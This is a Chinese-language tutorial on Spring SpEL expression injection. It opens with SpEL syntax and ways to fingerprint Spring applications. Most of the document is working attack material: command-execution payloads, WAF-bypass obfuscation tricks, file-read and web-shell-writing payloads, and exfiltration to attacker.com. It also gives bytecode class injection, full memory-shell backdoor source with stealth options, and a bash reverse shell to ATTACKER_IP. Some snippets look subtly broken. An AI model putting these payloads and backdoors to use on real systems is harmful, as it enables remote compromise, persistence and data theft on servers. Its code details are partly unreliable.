SpEL表达式注入

一、SpEL概述

1.1 什么是SpEL

SpEL(Spring Expression Language)是Spring Framework 3.0版本引入的强大的表达式语言,它支持在运行时查询和操作对象图。SpEL的设计初衷是为其在Spring产品组合中的所有产品提供一种表现良好的、统一的表达式语言。

核心特性:

  • 类型安全:支持强类型和弱类型两种模式
  • 动态求值:运行时解析和执行表达式
  • 方法调用:支持直接调用对象方法
  • 属性访问:支持嵌套属性访问
  • 集合操作:支持列表、映射等集合的投影和选择
  • 正则表达式:内置正则匹配支持

1.2 与其他表达式语言对比

表达式语言

所属框架

典型应用场景

安全性

SpEL

Spring

Bean配置、安全控制、数据验证

中等

OGNL

Struts2/WebWork

值栈操作、类型转换

高危

MVEL

Drools/RuleEngine

规则引擎、配置文件

中等

EL

JSP/Jakarta EE

页面渲染、配置访问

中等

1.3 SpEL的应用场景

在正常开发中,SpEL主要用于:

  1. Spring配置:XML或注解中的动态配置
  2. Spring Security:方法级别的安全控制表达式
  3. Spring Data:查询方法的动态参数
  4. Spring Integration:路由条件和过滤规则
  5. Thymeleaf:模板引擎中的变量表达式

二、框架识别技术

2.1 通过依赖识别

Maven项目(pom.xml):

<!-- Spring Boot项目 -->
<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.x.x</version>
</parent>

<!-- 核心Web依赖 -->
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

<!-- 可能存在的其他starter -->
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

Gradle项目(build.gradle):

dependencies {
    implementation 'org.springframework.boot:spring-boot-starter-web'
    implementation 'org.springframework.boot:spring-boot-starter-security'
}

2.2 通过代码特征识别

启动类特征:

@SpringBootApplication  // 核心注解,等价于以下三个注解的组合
// @SpringBootConfiguration
// @EnableAutoConfiguration
// @ComponentScan
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}

控制器特征:

// REST风格控制器
@RestController
public class Controller {

    @GetMapping("/path")
    public String method() {
        // ...
    }

    // 或使用@RequestMapping
    @RequestMapping(value = "/path", method = RequestMethod.GET)
    public String method2() {
        // ...
    }
}

2.3 通过HTTP响应识别

Spring Boot默认错误页面:

{
  "timestamp": "2025-01-09T...",
  "status": 404,
  "error": "Not Found",
  "message": "No message available",
  "path": "/invalid/path"
}

特定Header识别:

X-Application-Context: application
Server: Apache-Coyote/1.1  # Tomcat容器

2.4 通过运行时行为识别

路径特征:

  • 静态资源路径:/static/, /resources/, /public/
  • Actuator端点:/actuator/health, /actuator/info
  • 默认session cookie:JSESSIONID

Favicon特征:
Spring Boot默认使用leaf图标,访问
/favicon.ico可识别。

三、Java核心概念

3.1 类(Class)

类是对象的蓝图,定义了对象的状态(属性)和行为(方法)。

类的类型:

// 1. 普通类 - 可直接实例化
public class NormalClass {
    public void method() {}
}

// 2. 静态工具类 - 私有构造,静态方法
public class Utils {
    private Utils() {} // 防止实例化
    public static void staticMethod() {}
}

// 3. 抽象类 - 不能直接实例化
public abstract class AbstractClass {
    public abstract void abstractMethod(); // 抽象方法
    public void normalMethod() {} // 具体方法
}

// 4. 接口 - 只定义方法签名
public interface Interface {
    void interfaceMethod();
    // Java 8+ 支持default方法
    default void defaultMethod() {}
}

3.2 对象(Object)

对象是类的实例化结果,占据内存空间。

实例化方式:

// 1. new关键字
Object obj = new Object();

// 2. 反射
Class<?> clazz = Class.forName("java.lang.Object");
Object obj2 = clazz.newInstance();

// 3. 克隆
Object obj3 = obj.clone();

// 4. 反序列化
Object obj4 = deserialize(stream);

3.3 方法(Method)

方法是类的行为定义。

方法分类:

public class MethodDemo {
    // 1. 实例方法 - 需要通过对象调用
    public void instanceMethod() {}

    // 2. 静态方法 - 通过类调用
    public static void staticMethod() {}

    // 3. 构造方法 - 创建对象时调用
    public MethodDemo() {}

    // 4. 私有方法 - 仅类内部可访问
    private void privateMethod() {}
}

3.4 Java反射机制

反射是Java的动态特性,允许在运行时检查和修改类的行为。

核心反射API:

// 1. 获取Class对象
Class<?> clazz = Class.forName("java.lang.Runtime");

// 2. 获取方法
Method method = clazz.getMethod("getRuntime");

// 3. 调用方法
Object runtime = method.invoke(null); // 静态方法,传入null

// 4. 访问私有成员(需要setAccessible)
Method privateMethod = clazz.getDeclaredMethod("privateMethod");
privateMethod.setAccessible(true); // 暴力反射

四、SpEL语法详解

4.1 字面量表达式

// 字符串
'Hello SpEL'

// 数字
42
3.14
1E3

// 布尔值
true
false

// null
null

4.2 属性访问

// 嵌套属性访问
user.name
user.address.city

// 安全导航运算符(避免空指针)
user?.address?.city

4.3 方法调用

// 无参方法
user.getName()

// 有参方法
user.setName('admin')

// 链式调用
user.getName().toUpperCase()

4.4 类型引用(T())

T()是SpEL的核心语法,用于引用Java类型。

// 引用类
T(java.lang.Runtime)

// 引用嵌套类
T(java.lang.Runtime$Permission)

// 访问静态属性
T(java.lang.Math).PI

// 调用静态方法
T(java.lang.System).currentTimeMillis()

重要区别:

// 原生Java
Runtime.getRuntime()

// SpEL(必须用T())
T(java.lang.Runtime).getRuntime()

原因:SpEL解析器需要T()来识别这是一个类型引用而非变量名。

4.5 集合操作

// 列表
{1, 2, 3, 4}

// 映射
{name:'admin', age:18}

// 过滤(投影)
list.?[name == 'admin']

// 选择(第一个)
list.^[name == 'admin']

// 选择(最后一个)
list.$[name == 'admin']

// 投影
list.![name]

4.6 正则表达式

// 匹配
'user' matches '[a-z]+'

// 不匹配
'user' !matches '[0-9]+'

4.7 运算符

// 算术运算
1 + 2
10 * 5
5 / 2
5 % 3

// 关系运算
1 > 2
'a' == 'b'

// 逻辑运算
true and false
true or false
not true

// 三元运算
condition ? trueValue : falseValue

// Elvis运算符(简化三元)
name ?: 'Unknown'  // 等价于 name != null ? name : 'Unknown'

五、SpEL注入原理深度剖析

5.1 漏洞成因分析

SpEL注入的根本原因:应用程序将用户输入直接传递给SpEL解析器执行,未进行任何过滤或验证。

漏洞代码模式:

// 模式1:直接解析用户输入
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userInput); // userInput可控
exp.getValue();

// 模式2:标准上下文(危险)
StandardEvaluationContext context = new StandardEvaluationContext();
Expression exp = parser.parseExpression(userInput);
exp.getValue(context);

// 模式3:模板表达式
ParserContext parserContext = new TemplateParserContext();
Expression exp = parser.parseExpression(userInput, parserContext);
exp.getValue();

5.2 执行流程完整解析

阶段1:解析器创建

ExpressionParser parser = new SpelExpressionParser();

源码分析:

public class SpelExpressionParser implements ExpressionParser {
    private final SpelParserConfiguration configuration;

    public SpelExpressionParser() {
        this.configuration = new SpelParserConfiguration();
    }

    @Override
    public Expression parseExpression(String expressionString) {
        return new InternalSpelExpressionParser(this.configuration)
            .doParseExpression(expressionString, new ParserContext());
    }
}

此阶段初始化词法分析器、语法分析器等组件。

阶段2:语法分析

Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");

AST生成过程:

  1. 词法分析:
  • T(java.lang.Runtime) → TypeReference Token
  • .getRuntime() → MethodReference Token
  • .exec('calc') → MethodReference Token
  1. 语法分析:
MethodReference(exec)
  └─ MethodReference(getRuntime)
      └─ TypeReference(T(java.lang.Runtime))
  1. 语义分析:
  • 类型检查
  • 方法签名验证
  • 作用域解析

阶段3:表达式求值

Object result = exp.getValue();

求值过程:

1. 根节点:MethodReference(exec)
   ↓
   2. 计算子节点:MethodReference(getRuntime)
      ↓
      3. 计算子节点:TypeReference(T(java.lang.Runtime))
         ↓
         4. 类加载:Class.forName("java.lang.Runtime")
            ↓
            5. 返回:Class<Runtime>对象
         ↓
      6. 反射调用:getRuntimeMethod.invoke(null)
         ↓
         7. 返回:Runtime实例
      ↓
   8. 反射调用:execMethod.invoke(runtime, "calc")
      ↓
      9. 返回:Process对象
   ↓
10. 最终返回:Process对象

5.3 EvaluationContext的作用

EvaluationContext决定了SpEL表达式能访问哪些类型和方法。

StandardEvaluationContext:

StandardEvaluationContext context = new StandardEvaluationContext();
context.setVariable("user", new User());

// 表达式中可以访问
#user.getName()

特点:

  • 功能强大,支持所有SpEL特性
  • 可以注册自定义函数
  • 可以设置根对象
  • 存在安全风险:默认可以访问任何类

SimpleEvaluationContext:

SimpleEvaluationContext context = SimpleEvaluationContext
    .forReadOnlyDataBinding()
    .build();

特点:

  • 只支持数据绑定
  • 不支持类型引用(T())
  • 不支持方法调用
  • 相对安全

5.4 模板表达式

原理:

ParserContext context = new TemplateParserContext();
String input = "Hello #{T(java.lang.Runtime).getRuntime().exec('calc')}, World!";
Expression exp = parser.parseExpression(input, context);

解析过程:

  1. 识别模板前缀#{和后缀}
  2. 将模板分为文本部分和表达式部分
  3. 只解析和执行#{}包裹的内容
  4. 最后将结果与文本拼接

利用价值:
当检测到简单的表达式注入时,可能存在模板注入。

检测Payload:

#{1+1}      →  如果返回3,说明存在模板注入
#{T(java.lang.Runtime).getRuntime().exec('calc')}

六、漏洞点

6.1 关键代码

关键词搜索:

// 1. SpEL相关类
ExpressionParser
SpelExpressionParser
Expression
StandardEvaluationContext

// 2. 危险方法
parseExpression()
getValue()
setValue()

危险模式:

// 模式1:直接解析
Expression exp = parser.parseExpression(request.getParameter("input"));

// 模式2:模板解析
Expression exp = parser.parseExpression("#{...}", new TemplateParserContext());

// 模式3:动态拼接
String expr = "T(" + className + ").getMethod(" + methodName + ")";
Expression exp = parser.parseExpression(expr);

6.2 黑盒测试

算术运算

?input=1+1
?input=7*8

字符串拼接

?input='hello'+' '+'world'

类型引用

?input=T(java.lang.Math).PI

RCE测试

?input=T(java.lang.Runtime).getRuntime().exec('whoami')

信息泄露

?input=T(java.lang.System).getProperty('user.name')
?input=T(java.lang.System).getenv()

七、利用手法

7.1 命令执行

Runtime.exec()

基本用法:

T(java.lang.Runtime).getRuntime().exec('calc')

跨平台命令:

// Windows
T(java.lang.Runtime).getRuntime().exec('cmd /c whoami')

// Linux
T(java.lang.Runtime).getRuntime().exec('/bin/sh -c id')

带参数命令:

T(java.lang.Runtime).getRuntime().exec(new java.lang.String[]{'cmd', '/c', 'dir'})

换行符绕过:

// 利用Java的换行符
T(java.lang.Runtime).getRuntime().exec('cmd\x2fc\x2cwhoami')

// 利用Unicode
T(java.lang.Runtime).getRuntime().exec('cmd\u002f/c whoami')

ProcessBuilder

基本用法:

new java.lang.ProcessBuilder('calc').start()

多参数:

new java.lang.ProcessBuilder('cmd', '/c', 'whoami').start()
new java.lang.ProcessBuilder('/bin/sh', '-c', 'id').start()

工作目录设置:

new java.lang.ProcessBuilder('cmd', '/c', 'dir')
    .directory(new java.io.File('C:\\'))
    .start()

环境变量设置:

new java.lang.ProcessBuilder('cmd', '/c', 'echo %PATH%')
    .environment()
    .put("PATH", "C:\\Windows\\System32")

ScriptEngine

JavaScript引擎(Java 8):

new javax.script.ScriptEngineManager()
    .getEngineByName("js")
    .eval("java.lang.Runtime.getRuntime().exec('calc')")

Groovy引擎:

new javax.script.ScriptEngineManager()
    .getEngineByName("groovy")
    .eval("'calc'.execute()")

Python引擎(Jython):

new javax.script.ScriptEngineManager()
    .getEngineByName("python")
    .eval("import os;os.system('calc')")

7.2 绕过waf

关键字过滤

问题:过滤了Runtime关键字

字符串拼接

new javax.script.ScriptEngineManager()
    .getEngineByName("js")
    .eval("var x='java.lang.Run'; x+='time'; java.lang.Class.forName(x).getRuntime().exec('calc')")

字符数组

new javax.script.ScriptEngineManager()
    .getEngineByName("js")
    .eval("java.lang.Class.forName(new String(java.lang.Character.toString(82).concat(java.lang.Character.toString(117)).concat(java.lang.Character.toString(110)).concat(java.lang.Character.toString(116)).concat(java.lang.Character.toString(105)).concat(java.lang.Character.toString(109)).concat(java.lang.Character.toString(101))))")

Base64编码

new javax.script.ScriptEngineManager()
    .getEngineByName("js")
    .eval("eval(new java.lang.String(java.util.Base64.getDecoder().decode('amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoJ2NhbGMn')))")

反射调用

T(java.lang.Class)
    .forName(new String(new char[]{82,117,110,116,105,109,101}))
    .getMethod("getRuntime")
    .invoke(null)
    .exec("calc")

方法名过滤

问题:过滤了exec方法

方法别名

// 使用ProcessBuilder代替Runtime
new java.lang.ProcessBuilder('calc').start()

反射动态调用

T(java.lang.Runtime).getRuntime()
    .getClass()
    .getMethod(new String(new char[]{101,120,101,99}), new java.lang.String[]{})
    .invoke(T(java.lang.Runtime).getRuntime(), "calc")

ScriptEngine内联

new javax.script.ScriptEngineManager()
    .getEngineByName("js")
    .eval("java.lang.Runtime.getRuntime()['exe'+'c']('calc')")

点号过滤

过滤了.(点号)

反射链

T(java.lang.Class)
    .forName("java.lang.Runtime")
    .getMethods()[0]  // 索引访问代替点号
    .invoke(null)

中括号语法

new javax.script.ScriptEngineManager()
    .getEngineByName("js")
    .eval("var r=java.lang.Runtime.getRuntime(); r['exe'+'c']('calc')")

Map访问

T(System).getenv()  // 返回Map<String,String>
T(System).getenv()['PATH']  // 使用中括号访问

括号过滤

过滤了(和)

省略括号

// 某些情况下可以省略参数列表的括号
T(java.lang.System).getProperty"user.name"  // 不推荐,语法不常见

ScriptEngine

new javax.script.ScriptEngineManager()
    .getEngineByName("js")
    .eval("java.lang.System.getProperties['user.name']")

字符串引号过滤

过滤了单引号和双引号

字符拼接

new java.lang.String(new char[]{99,97,108,99})  // 拼出"calc"

动态获取

T(java.lang.Character).toString(99)  // 'c'

从环境变量获取

T(java.lang.System).getenv()[CMD]  // 从环境变量读取命令

7.3 文件操作

读取文件

Files.readAllBytes

new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/etc/passwd")))

Scanner

new java.util.Scanner(new java.io.FileInputStream("/etc/passwd")).nextLine()

BufferedReader

new java.io.BufferedReader(new java.io.FileReader("/etc/passwd")).readLine()

NIO Channel

new java.io.String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/flag")))

写入文件

Files.write

T(java.nio.file.Files).write(
    T(java.nio.file.Paths).get("/tmp/shell.php"),
    "<?php system($_GET['cmd']);?>".getBytes()
)

FileOutputStream

new java.io.FileOutputStream("/tmp/evil.txt").write("hello".getBytes())

目录遍历

new java.io.File("/").listFiles()[0].getName()  // 列出根目录第一个文件

7.4 回显技术

Scanner

适用场景:有String返回值的接口

new java.util.Scanner(
    T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()
).next()

完整示例:

// Windows
new java.util.Scanner(
    T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream()
).useDelimiter("\\A").next()

// Linux
new java.util.Scanner(
    T(java.lang.Runtime).getRuntime().exec("/bin/sh -c ls -la").getInputStream()
).useDelimiter("\\A").next()

原理:

  • getInputStream()获取命令输出流
  • Scanner将字节流转换为字符串
  • useDelimiter("\\A")设置结束标记为文件开头,读取全部内容
  • next()获取扫描结果

局限性:

  • 只能获取标准输出
  • 错误输出无法获取
  • 受源码返回类型限制

StreamUtils + RequestContextHolder

适用场景:可直接操作HTTP响应流

T(org.springframework.util.StreamUtils).copy(
    T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream(),
    T(org.springframework.web.context.request.RequestContextHolder)
        .currentRequestAttributes()
        .getResponse()
        .getOutputStream()
)

详细解析:

第一部分:获取命令输出流

T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()
  • exec("whoami"):执行命令,返回Process对象
  • getInputStream():获取进程的标准输出流

第二部分:获取HTTP响应流

T(org.springframework.web.context.request.RequestContextHolder)
    .currentRequestAttributes()           // 获取当前请求的上下文
    .getResponse()                        // 获取HttpServletResponse对象
    .getOutputStream()                    // 获取原始输出流

RequestContextHolder原理:

// Spring源码(简化)
public abstract class RequestContextHolder {
    private static final ThreadLocal<RequestAttributes> requestAttributesHolder = new NamedThreadLocal<>();

    public static RequestAttributes currentRequestAttributes() {
        return requestAttributesHolder.get();
    }
}
  • 使用ThreadLocal存储请求上下文
  • 每个请求线程独立的上下文
  • 可以在任何地方获取当前请求信息

第三部分:流复制

T(org.springframework.util.StreamUtils).copy(inputStream, outputStream)
  • StreamUtils.copy():将输入流复制到输出流
  • 阻塞操作,直到流结束
  • 自动处理缓冲

优势:

  • 不依赖源码返回值
  • 直接写入HTTP响应
  • 可输出大量数据

探测Payload:

// 添加响应头探测
T(org.springframework.web.context.request.RequestContextHolder)
    .currentRequestAttributes()
    .getResponse()
    .addHeader("X-Test", "success")

// 修改响应状态码
T(org.springframework.web.context.request.RequestContextHolder)
    .currentRequestAttributes()
    .getResponse()
    .setStatus(404)

错误信息泄露

适用场景:错误信息会返回给前端

// 触发异常,将结果通过异常消息返回
T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()

限制:依赖异常处理机制。

外带注入

适用场景:无回显,目标可出网

DNS外带:

// 通过DNS请求将数据外带(需要支持DNS查询)
T(java.net.InetAddress).getByName("test." + "secret" + ".attacker.com")

HTTP外带:

// 通过HTTP请求外带
new java.net.URL("http://attacker.com/" + new String(
    T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()
)).openStream()

7.5 反射绕过

原理

当所有关键字和常见方法都被过滤时,可以通过Java反射机制动态构造调用链。

完整流程

目标代码:

Runtime.getRuntime().exec("calc");

反射实现:

// Step 1: 获取Runtime类对象
Class<?> runtimeClass = Class.forName("java.lang.Runtime");

// Step 2: 获取getRuntime方法
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");

// Step 3: 调用静态方法获取Runtime实例
Object runtime = getRuntimeMethod.invoke(null);

// Step 4: 获取exec方法
Method execMethod = runtimeClass.getMethod("exec", String.class);

// Step 5: 调用exec方法
execMethod.invoke(runtime, "calc");

SpEL Payload:

T(java.lang.Class)
    .forName("java.lang.Runtime")           // 获取类
    .getMethod("getRuntime")                // 获取方法对象
    .invoke(null)                           // 调用静态方法
    .exec("calc")                           // 调用实例方法

绕过技巧

技巧1:动态构造类名

T(java.lang.Class)
    .forName("java.lang.Run" + "time")     // 拼接绕过
    .getMethod("getRun" + "time")          // 拼接绕过
    .invoke(null)
    .exec("calc")

技巧2:通过字符数组

T(java.lang.Class)
    .forName(new String(new char[]{
        106, 97, 118, 97, 46, 108, 97, 110, 103, 46,
        82, 117, 110, 116, 105, 109, 101
    }))  // "java.lang.Runtime"

技巧3:方法名编码

T(java.lang.Runtime).getRuntime()
    .getClass()
    .getMethod(
        new String(new char[]{101,120,101,99}),  // "exec"
        new java.lang.String[]{}
    )
    .invoke(T(java.lang.Runtime).getRuntime(), "calc")

技巧4:字节码操作

// 使用ClassLoader动态加载
T(org.springframework.util.ClassUtils)
    .getDefaultClassLoader()
    .loadClass("java.lang.Runtime")

7.6 字节码注入

核心原理

当所有关键字被严格过滤且无法绕过时,字节码注入是终极手段。

原理:

  1. 编译恶意Java类为字节码(.class文件)
  2. Base64编码字节码
  3. 通过SpEL加载字节码到JVM
  4. 静态代码块自动执行

完整实现

步骤1:编写恶意类

// 注意:不能有package声明
public class Evil {
    static {
        try {
            // 静态代码块在类加载时自动执行
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    // 可以添加其他方法,但不会被调用
    public void unused() {}
}

步骤2:编译

javac Evil.java
# 生成 Evil.class 文件

步骤3:编码工具

import java.io.*;
import java.util.Base64;

public class Encoder {
    public static void main(String[] args) throws Exception {
        // 读取class文件
        File file = new File("Evil.class");
        FileInputStream fis = new FileInputStream(file);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        byte[] buffer = new byte[1024];
        int len;
        while ((len = fis.read(buffer)) != -1) {
            baos.write(buffer, 0, len);
        }
        fis.close();

        // Base64编码
        byte[] bytes = baos.toByteArray();
        String encoded = Base64.getEncoder().encodeToString(bytes);

        // 输出(去除换行符)
        System.out.println(encoded.replaceAll("\\r?\\n", ""));
    }
}

步骤4:构造Payload

T(org.springframework.cglib.core.ReflectUtils).defineClass(
    'Evil',  // 类名
    T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAA...'),  // Base64编码的字节码
    T(org.springframework.util.ClassUtils).getDefaultClassLoader()  // 类加载器
)

完整URL编码示例:

GET /spel?input=T%28org.springframework.cglib.core.ReflectUtils%29.defineClass%28%27Evil%27%2C+T%28com.sun.org.apache.xml.internal.security.utils.Base64%29.decode%28%27...%27%29%2C+T%28org.springframework.util.ClassUtils%29.getDefaultClassLoader%28%29%29

原理深度分析

ReflectUtils.defineClass():

// Spring源码(简化)
public class ReflectUtils {
    public static Class<?> defineClass(String className, byte[] bytes, ClassLoader loader) {
        // 使用反射调用ClassLoader.defineClass()
        Method defineClass = ClassLoader.class.getDeclaredMethod(
            "defineClass", String.class, byte[].class, int.class, int.class
        );
        defineClass.setAccessible(true);

        return (Class<?>) defineClass.invoke(
            loader,
            className,
            bytes,
            0,
            bytes.length
        );
    }
}

执行流程:

  1. defineClass()调用ClassLoader.defineClass()
  2. JVM将字节码加载到方法区
  3. 执行链接(验证、准备、解析)
  4. 初始化:执行<clinit>方法(静态代码块)
  5. 命令执行

关键点:

  • 静态代码块在类初始化时自动执行
  • 无需显式调用任何方法
  • 绕过了所有关键字过滤

八、内存马注入

8.1 内存马原理

内存马(Memory Shell)是一种无文件后门技术,通过在JVM内存中注册恶意控制器来实现持久化控制。

特点:

  • 无文件落地
  • 重启失效
  • 难以检测
  • 权限高

类型:

  • Servlet型
  • Filter型
  • Listener型
  • Controller型(Spring)
  • Interceptor型(Spring MVC)

8.2 Spring Controller内存马

核心思路

利用Spring MVC的动态注册机制,在运行时注册恶意控制器。

关键组件:

  1. RequestMappingHandlerMapping:路由映射管理器
  2. RequestMappingInfo:路由信息
  3. HandlerMethod:控制器方法

完整实现

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

public class MemShell {
    static {
        try {
            // 1. 获取Spring上下文
            ServletRequestAttributes attributes =
                (ServletRequestAttributes) RequestContextHolder.currentRequestAttributes();

            WebApplicationContext context = (WebApplicationContext) attributes.getAttribute(
                "org.springframework.web.servlet.DispatcherServlet.CONTEXT",
                0
            );

            // 2. 获取RequestMappingHandlerMapping
            RequestMappingHandlerMapping handlerMapping =
                context.getBean(RequestMappingHandlerMapping.class);

            // 3. 构建路由信息(/shell路径)
            Method pathsMethod = RequestMappingInfo.class.getMethod("paths", String[].class);
            pathsMethod.setAccessible(true);
            Object pathsBuilder = pathsMethod.invoke(null, (Object) new String[]{"/shell"});

            // 4. 应用配置(兼容不同Spring版本)
            try {
                Method getConfigMethod = RequestMappingHandlerMapping.class
                    .getMethod("getBuilderConfiguration");
                getConfigMethod.setAccessible(true);
                Object config = getConfigMethod.invoke(handlerMapping);

                if (config != null) {
                    Method optionsMethod = pathsBuilder.getClass()
                        .getMethod("options", RequestMappingInfo.BuilderConfiguration.class);
                    optionsMethod.setAccessible(true);
                    optionsMethod.invoke(pathsBuilder, config);
                }
            } catch (Exception e) {
                // Spring 4.x可能不支持,忽略
            }

            // 5. 构建RequestMappingInfo
            Method buildMethod = pathsBuilder.getClass().getMethod("build");
            buildMethod.setAccessible(true);
            RequestMappingInfo mappingInfo = (RequestMappingInfo) buildMethod.invoke(pathsBuilder);

            // 6. 创建实例并注册
            MemShell shell = new MemShell();
            Method execMethod = MemShell.class.getMethod(
                "exec",
                HttpServletRequest.class,
                HttpServletResponse.class
            );
            execMethod.setAccessible(true);

            handlerMapping.registerMapping(mappingInfo, shell, execMethod);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void exec(HttpServletRequest request, HttpServletResponse response) {
        try {
            String cmd = request.getParameter("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                // 跨平台命令执行
                boolean isWin = System.getProperty("os.name").toLowerCase().contains("win");
                String[] cmds = isWin
                    ? new String[]{"cmd.exe", "/c", cmd}
                    : new String[]{"/bin/sh", "-c", cmd};

                Process process = Runtime.getRuntime().exec(cmds);
                InputStream in = process.getInputStream();

                Scanner scanner = new Scanner(in).useDelimiter("\\A");
                String output = scanner.hasNext() ? scanner.next() : "";

                response.getWriter().write(output);
                response.getWriter().flush();
            } else {
                response.getWriter().write("Memory Shell is ready!");
                response.getWriter().println("\nUsage: /shell?cmd=whoami");
            }
        } catch (Exception e) {
            try {
                e.printStackTrace(response.getWriter());
            } catch (Exception ex) {}
        }
    }
}

编译与注入

编译:

# 注意:不能有package声明
javac MemShell.java

编码:

// 使用之前的Encoder工具
java Encoder > memshell_base64.txt

注入:

T(org.springframework.cglib.core.ReflectUtils).defineClass(
    'MemShell',
    T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('base64编码内容'),
    T(org.springframework.util.ClassUtils).getDefaultClassLoader()
)

访问:

GET /shell?cmd=whoami

8.3 内存马优化技巧

隐藏路由

// 使用随机路径
String path = "/" + UUID.randomUUID().toString().substring(0, 8);

// 或使用常见路径伪装
String path = "/static/css/style.css";

密码保护

public void exec(HttpServletRequest request, HttpServletResponse response) {
    String password = request.getParameter("key");
    if (!"mySecretKey".equals(password)) {
        response.setStatus(404);
        return;
    }
    // ... 执行命令
}

使用:

GET /shell?key=mySecretKey&cmd=whoami

条件触发

// 只在特定时间触发
int hour = java.util.Calendar.getInstance().get(java.util.Calendar.HOUR_OF_DAY);
if (hour == 3) {  // 凌晨3点
    // 执行恶意操作
}

内存清理

// 执行后自动注销
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
    try {
        handlerMapping.unregisterMapping(mappingInfo);
    } catch (Exception e) {}
}));

8.4 其他类型内存马

Filter型内存马

import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.web.context.WebApplicationContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class FilterShell implements Filter {
    static {
        try {
            WebApplicationContext context = getWebApplicationContext();

            FilterRegistrationBean registration = new FilterRegistrationBean();
            registration.setFilter(new FilterShell());
            registration.addUrlPatterns("/*");
            registration.setOrder(1);

            context.getBean(FilterRegistrationBean.class).registration();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;

        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            // 执行命令
            resp.getWriter().write(exec(cmd));
        } else {
            chain.doFilter(request, response);
        }
    }

    @Override
    public void init(FilterConfig config) {}

    @Override
    public void destroy() {}
}

Interceptor型内存马

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.HandlerExecutionChain;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class InterceptorShell implements HandlerInterceptor {
    static {
        try {
            WebApplicationContext context = getWebApplicationContext();
            RequestMappingHandlerMapping handlerMapping =
                context.getBean(RequestMappingHandlerMapping.class);

            handlerMapping.registerHandler(new InterceptorShell());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            response.getWriter().write(exec(cmd));
            return false;  // 阻止继续处理
        }
        return true;
    }
}

九、各种利用姿势

9.1 CTF常见场景

直接SpEL注入

题目特征:

GET /calc?expr=1+1
Response: 2

测试Payload:

GET /calc?expr=T(java.lang.Runtime).getRuntime().exec('whoami')

模板SpEL注入

题目特征:

POST /render
Content-Type: application/json
{"template": "Hello #{username}, welcome!"}

测试Payload:

{"template": "Hello #{T(java.lang.Runtime).getRuntime().exec('whoami')}"}

过滤关键字

题目特征:
过滤了:Runtime, exec, ProcessBuilder

绕过Payload:

new javax.script.ScriptEngineManager()
    .getEngineByName("js")
    .eval("var x='java.lang.Run'; x+='time'; Class.forName(x).getRuntime().exec('whoami')")

长度限制

题目特征:
输入长度限制为20个字符

绕过方案:

// 分步执行
#1:T(java.lang.Thread).sleep(10000)  // 延时测试
#2:new java.io.File('/tmp').listFiles()[0].getName()  // 枚举文件

9.2 实战技巧

信息收集

// 获取系统信息
T(java.lang.System).getProperty("os.name")
T(java.lang.System).getProperty("user.name")
T(java.lang.System).getenv()

// 获取工作目录
new java.io.File(".").getAbsolutePath()

// 列出文件
new java.io.File("/").listFiles()[0].getName()
new java.io.File("/tmp").list()

// 获取Spring Bean
T(org.springframework.web.context.request.RequestContextHolder)
    .currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT")
    .getBeanDefinitionNames()

探测过滤规则

// 测试Runtime是否被过滤
T(java.lang.Runtime)  // 如果报错说明被过滤

// 测试点号是否被过滤
T(java.lang.System).currentTimeMillis()

// 测试括号是否被过滤
{T(java.lang.System)}  // 如果报错说明括号被过滤

// 测试引号是否被过滤
T(java.lang.String).valueOf(1)  // 可以不用引号

多命令执行

// Windows:使用&连接
T(java.lang.Runtime).getRuntime().exec("cmd /c whoami & dir")

// Linux:使用;或&&连接
T(java.lang.Runtime).getRuntime().exec("/bin/sh -c id; ls -la")

反弹Shell

// Linux反弹Shell
T(java.lang.Runtime).getRuntime().exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'")

// Windows反弹Shell(需要nc)
